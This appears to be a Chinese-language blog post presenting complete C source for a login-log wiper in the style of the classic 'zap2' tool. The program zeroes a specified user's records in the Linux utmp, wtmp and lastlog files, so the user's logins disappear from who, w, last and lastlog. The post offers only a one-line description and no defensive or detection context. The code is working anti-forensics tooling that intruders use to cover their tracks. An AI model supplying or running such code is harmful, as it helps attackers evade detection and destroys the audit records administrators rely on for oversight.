[置顶] linux安全-擦除登录日志

        删除指定的用户的登录信息日志，包括w 和who 查到的当前用户（utmp） 和last查到的用户（wtmp）以往登录日志以及lastlog查到的用户最近登录日志（lastlog）。

 

#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <lastlog.h>
#include <pwd.h>
#define WTMP_NAME "/var/log/wtmp" 
#define UTMP_NAME "/var/run/utmp" 
#define LASTLOG_NAME "/var/log/lastlog" 

int f; 
//delete all the record which name is 'who' in utmp
void kill_utmp(who) 
char *who; 
{ 
	struct utmp utmp_ent; 

	if ((f=open(UTMP_NAME,O_RDWR))>=0) 
	{ 
		while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) 
			if (!strncmp(utmp_ent.ut_name,who,strlen(who))) 
			{ 
				bzero((char *)&utmp_ent,sizeof( utmp_ent )); 
				lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
				write (f, &utmp_ent, sizeof (utmp_ent)); 
			} 
		close(f); 
	} 
} 

//delete the latest record which name is 'who' in wtmp
void kill_wtmp(who) 
char *who; 
{ 
	struct utmp utmp_ent; 
	long pos; 
	pos = 1L; 
	if ((f=open(WTMP_NAME,O_RDWR))>=0) 
	{ 

		while(pos != -1L) 
			{ 
				lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
				if (read (f, &utmp_ent, sizeof (struct utmp))<0) 
				{ 
						pos = -1L; 
				} else 
				{ 
					if (!strncmp(utmp_ent.ut_name,who,strlen(who))) 
					{ 
						bzero((char *)&utmp_ent,sizeof(struct utmp )); 
						lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); 
						write (f, &utmp_ent, sizeof (utmp_ent)); 
						pos = -1L; 
					} else pos += 1L; 
				} 
			} 
	close(f); 
	} 
} 

//update the record set time is never login which name is 'who'  in lastlog
void kill_lastlog(who) 
char *who; 
{ 
	struct passwd *pwd; 
	struct lastlog newll; 

	if ((pwd=getpwnam(who))!=NULL) 
	{ 

		if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) 
		{ 
			lseek(f, ((long)(pwd->pw_uid)) * (sizeof (struct lastlog)), 0); 
			bzero((char *)&newll,sizeof( newll )); 
			write(f, (char *)&newll, sizeof( newll )); 
			close(f); 
		} 

	} else printf("%s: ?\n",who); 
} 


main(argc,argv) 
int argc; 
char *argv[]; 
{ 

	if (argc==2) 
	{
		printf("user:%s\n",argv[1]); 
		kill_lastlog(argv[1]); 
		kill_wtmp(argv[1]); 
		kill_utmp(argv[1]); 
		printf("Zap2!\n"); 
	} else
	{
		printf("Error.\n"); 
	}


}